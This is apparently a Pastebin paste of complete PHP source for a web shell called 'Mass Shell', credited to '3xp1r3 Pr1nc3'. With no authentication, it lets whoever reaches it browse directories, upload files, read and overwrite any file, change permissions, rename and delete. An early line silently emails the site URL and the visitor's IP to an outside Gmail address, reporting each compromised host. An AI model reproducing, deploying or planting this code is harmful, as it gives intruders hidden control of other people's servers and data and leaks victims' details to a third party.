Advertisement
3xPr1nc3

MIni Decoded

Aug 27th, 2018
748
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.56 KB | None | 0 0
  1. <?php set_time_limit(0);
  2. error_reporting(0);
  3. if(get_magic_quotes_gpc()){
  4. foreach($_POST as $key=>$value){
  5. $_POST[$key] = stripslashes($value);
  6. }
  7. }
  8. if(!isset($_SESSION['trimite'])){
  9. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  10. @mail("13shell37@gmail.com","File Manager",$url);
  11. $_SESSION['trimite']=true;
  12. }
  13. echo '<!DOCTYPE HTML>
  14. <HTML>
  15. <HEAD>
  16. <link href="" rel="stylesheet" type="text/css">
  17. <title>Mass Shell</title>
  18. <style>
  19. body{
  20.    font-family: "Racing Sans One", cursive;
  21.    background-color: #e6e6e6;
  22.    text-shadow:0px 0px 1px #757575;
  23. }
  24. #content tr:hover{
  25.    background-color: #636263;
  26.    text-shadow:0px 0px 10px #fff;
  27. }
  28. #content .first{
  29.    background-color: silver;
  30. }
  31. #content .first:hover{
  32.    background-color: silver;
  33.    text-shadow:0px 0px 1px #757575;
  34. }
  35. table{
  36.    border: 1px #000000 dotted;
  37. }
  38. H1{
  39.    font-family: "Rye", cursive;
  40. }
  41. a{
  42.    color: #000;
  43.    text-decoration: none;
  44. }
  45. a:hover{
  46.    color: #fff;
  47.    text-shadow:0px 0px 10px #ffffff;
  48. }
  49. input,select,textarea{
  50.    border: 1px #000000 solid;
  51.    -moz-border-radius: 5px;
  52.    -webkit-border-radius:5px;
  53.    border-radius:5px;
  54. }
  55. </style>
  56. </HEAD>
  57. <BODY>
  58. <H1><center>Mass Shell</center></H1>
  59. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  60. <tr><td>Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($pat == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } echo '</td></tr><tr><td>'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<font color="green">File Upload Done.</font><br />'; }else{ echo '<font color="red">File Upload Error.</font><br />'; } } echo '<form enctype="multipart/form-data" method="POST">
  61. Upload File : <input type="file" name="file" />
  62. <input type="submit" value="upload" />
  63. </form>
  64. </td></tr>'; if(isset($_GET['filesrc'])){ echo "<tr><td>Current File : "; echo $_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '<font color="green">Change Permission Done.</font><br />'; }else{ echo '<font color="red">Change Permission Error.</font><br />'; } } echo '<form method="POST">
  65.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  66.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  67.        <input type="hidden" name="opt" value="chmod">
  68.        <input type="submit" value="Go" />
  69.        </form>'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<font color="green">Change Name Done.</font><br />'; }else{ echo '<font color="red">Change Name Error.</font><br />'; } $_POST['name'] = $_POST['newname']; } echo '<form method="POST">
  70.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  71.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  72.        <input type="hidden" name="opt" value="rename">
  73.        <input type="submit" value="Go" />
  74.        </form>'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<font color="green">Edit File Done.</font><br />'; }else{ echo '<font color="red">Edit File Error.</font><br />'; } fclose($fp); } echo '<form method="POST">
  75.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  76.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  77.        <input type="hidden" name="opt" value="edit">
  78.        <input type="submit" value="Go" />
  79.        </form>'; } echo '</center>'; }else{ echo '</table><br /><center>'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<font color="green">Delete Dir Done.</font><br />'; }else{ echo '<font color="red">Delete Dir Error.</font><br />'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<font color="green">Delete File Done.</font><br />'; }else{ echo '<font color="red">Delete File Error.</font><br />'; } } } echo '</center>'; $scandir = scandir($path); echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  80.    <tr class="first">
  81.        <td><center>Name</center></td>
  82.        <td><center>Size</center></td>
  83.        <td><center>Permissions</center></td>
  84.        <td><center>Options</center></td>
  85.    </tr>'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo "<tr>
  86.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  87.        <td><center>--</center></td>
  88.        <td><center>"; if(is_writable("$path/$dir")) echo '<font color="green">'; elseif(!is_readable("$path/$dir")) echo '<font color="red">'; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; echo "</center></td>
  89.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  90.        <select name=\"opt\">
  91.         <option value=\"\"></option>
  92.        <option value=\"delete\">Delete</option>
  93.        <option value=\"chmod\">Chmod</option>
  94.        <option value=\"rename\">Rename</option>
  95.        </select>
  96.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  97.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  98.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  99.        <input type=\"submit\" value=\">\" />
  100.        </form></center></td>
  101.        </tr>"; } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>'; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo "<tr>
  102.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  103.        <td><center>".$size."</center></td>
  104.        <td><center>"; if(is_writable("$path/$file")) echo '<font color="green">'; elseif(!is_readable("$path/$file")) echo '<font color="red">'; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; echo "</center></td>
  105.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  106.        <select name=\"opt\">
  107.         <option value=\"\"></option>
  108.        <option value=\"delete\">Delete</option>
  109.        <option value=\"chmod\">Chmod</option>
  110.        <option value=\"rename\">Rename</option>
  111.        <option value=\"edit\">Edit</option>
  112.        </select>
  113.        <input type=\"hidden\" name=\"type\" value=\"file\">
  114.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  115.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  116.        <input type=\"submit\" value=\">\" />
  117.        </form></center></td>
  118.        </tr>"; } echo '</table>
  119.    </div>'; } echo '<center>Mass Shell, Shared By <font color="red">3xp1r3 Pr1nc3</font></center>
  120. </BODY>
  121. </HTML>'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement